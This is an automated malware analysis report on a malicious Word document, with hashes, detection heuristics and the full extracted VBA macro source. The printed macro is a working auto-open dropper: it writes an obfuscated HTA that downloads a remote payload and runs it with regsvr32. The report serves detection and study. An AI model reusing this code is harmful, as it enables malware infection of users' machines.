Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 976a2956b42323c3…

MALICIOUS

Office (OOXML)

76.4 KB Created: 2021-03-24 05:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 62ceabc5d755888c48c219166c9aa0aa SHA-1: 59568e5e53f84149d9953b9350bbddfbcd441ad4 SHA-256: 976a2956b42323c307d880a72f56430a31be5211bb59b6c04aafa0e1eef04f48
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set indexIndex = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set indexIndex = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5276 bytes
SHA-256: 91956b8b4a6e3eb3e17d9a04b33fe6e4145afc1f5a3c8ed35d9e2b5610f5e242
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{E8FFBCB3-4F5A-4D32-BADD-45507BC46878}{E40D23CE-41BB-4864-96A4-103F9C3078D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set indexIndex = CreateObject("wscript.shell")
indexIndex.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "libNextDelete"
Sub autoopen()
responseSwapTrust
End Sub
Sub responseSwapTrust()
Dim storageTextPtr As String
storageTextPtr = frm.cmdButton1.caption
requestIndexScreen storageTextPtr
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "classIndexValue"
Function mainArgument()
mainArgument = "<div id='content'>dmFyIGRhdGFiYXNlRG9jdW1lbnRFeCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJtc3htbDIueG1saHR0cCIpO2RhdGFiYXNlRG9jdW1lbnRFeC5vcGVuKCJHRVQiLCAiaHR0cDovL21lbGVuZGV6ZGVudGlzdC5jb20vZmR2ZGQvaFNlaGFGQjdDcEVQZVBKUzY4L1AyUG51TTFnSDNDbS9zRUFDVC9RSjlmdW1PeE1CeHJxTk"
End Function
Function variableWindow()
variableWindow = "0xRU53VGFXZjliNFRuc3hXRmFjbUQybURsalRJcEg4NC9XR3Q5RDA4OTQweDlBYUxsMXNvcy8zMzI0My96TExQUmVjMXNIcDBIRHYwcVo1SlpnZXBlcHdMdVQ1MENIdS9oUXdsQkpKODhnSWFSMGJNZjRsT2YyVkNsMTkzdkJKcWJTVENucmxYd25qaEJpdi9oOUxYVi94YXIxMT90aW1lPWJRYjV2aFloOGcxJnJlZj1NU01MZFgmcT1SUTZ4Yl"
End Function
Function borderProcGeneric()
borderProcGeneric = "QwUjA1MUpXOHZEM2doeFhiSFVLJnRpbWU9ME1ucVBwTzBQSGZWNFN6YWFFNmFjZyY9cUVVWmxSNXFLRlRhUVRsUG1TU3Z3dXNMJkFKPXJkWXcmdXNlcj1xdGpkempmUzlseWRVVEdqM05FJnBTRFQ9bXl2RXlCb3NybmdtdCZwYWdlPURZa2dvdXMmdGltZT1yODJVdiIsIGZhbHNlKTtkYXRhYmFzZURvY3VtZW50RXguc2VuZCgpO2lmKGRhdG"
End Function
Function localReferenceBuf()
localReferenceBuf = "FiYXNlRG9jdW1lbnRFeC5zdGF0dXMgPT0gMjAwKXt2YXIgcHRyVmJQb2ludGVyID0gbmV3IEFjdGl2ZVhPYmplY3QoImFkb2RiLnN0cmVhbSIpO3B0clZiUG9pbnRlci5vcGVuO3B0clZiUG9pbnRlci50eXBlID0gMTtwdHJWYlBvaW50ZXIud3JpdGUoZGF0YWJhc2VEb2N1bWVudEV4LnJlc3BvbnNlYm9keSk7cHRyVmJQb2ludGVyLnNhdm"
End Function
Function localCountEx()
localCountEx = "V0b2ZpbGUoImM6XFx1c2Vyc1xccHVibGljXFxjbGVhclBhc3RlLmpwZyIsIDIpO3B0clZiUG9pbnRlci5jbG9zZTt9|fXspYXRhRHRuZW11Z3JhKGhjdGFjfTspImF0aC5uaWFtXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC50bnVvQ2Rhb2x7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd"
End Function
Function vbTableLen()
vbTableLen = "2VuID0gdG51b0NkYW9sIHJhdjspImdwai5ldHNhUHJhZWxjXFxjaWxidXBcXHNyZXN1XFw6YyAyM3J2c2dlciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=</div><div id='table'>0123456789+/</div><script language='javascript'>leftVb = window;screenCounter = document;functi"
End Function
Function namespaceW()
namespaceW = "on bufferCounterView(captionResponseLen){return(new ActiveXObject(captionResponseLen));}function table(){var mainListboxDocument = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var captionCaptionList = mainListboxDocument + mainListboxDocument.toLowerCase() + screenCounter"
End Function
Function pasteNext()
pasteNext = ".getElementById('table').innerHTML;return(captionCaptionList);}function buttonMainCopy(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var procedureCountSize=''; var w=String.fromCharCode; var L=s.length;var structTempOption = 'charAt';for(i=0;i"
End Function
Function lenException()
lenException = "<64;i++){e[table()[structTempOption](i)]=i;}for(x=0;x<L;x++){c=e[s[structTempOption](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(procedureCountSize+=w(a));}}return(procedureCountSize);};function mainPasteVar(rightTmp){return rightT"
End Function
Function titleArgument()
titleArgument = "mp.split('').reverse().join('');}leftVb.resizeTo(1, 1);leftVb.moveTo(-100, -100);var pasteTextbox = screenCounter.getElementById('content').innerHTML;var pasteTextbox = pasteTextbox.split('|');var WTmp = mainPasteVar(buttonMainCopy(pasteTextbox[0]));var WT"
End Function
Function classTextbox()
classTextbox = "mp = mainPasteVar(WTmp);var iteratorDataScreen = mainPasteVar(buttonMainCopy(pasteTextbox[1]));</script><script language='javascript'>function libTextStruct(constExTextbox){var convertCaption = bufferCounterView('msscriptcontrol.scriptcontrol');convertCapt"
End Function
Function documentWindowArgument()
documentWindowArgument = "ion.Language = 'jscript';convertCaption.Timeout = 60000;convertCaption.AddCode(constExTextbox);return(null);}</script><script language='vbscript'>libTextStruct WTmp : libTextStruct iteratorDataScreen : leftVb.close</script>"
End Function
Function pasteNamespace()
pasteNamespace = mainArgument + variableWindow + borderProcGeneric + localReferenceBuf + localCountEx + vbTableLen + namespaceW + pasteNext + lenException + titleArgument + classTextbox + documentWindowArgument
End Function

Attribute VB_Name = "counterExceptionMem"
Sub requestIndexScreen(requestTitleLink As String)
Open requestTitleLink For Output As #1
Print #1, pasteNamespace
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: 8a66c0c19d6ab05359040c6eb4cb8d74d73d5b7f0111ca8b62ddf2294325bf97
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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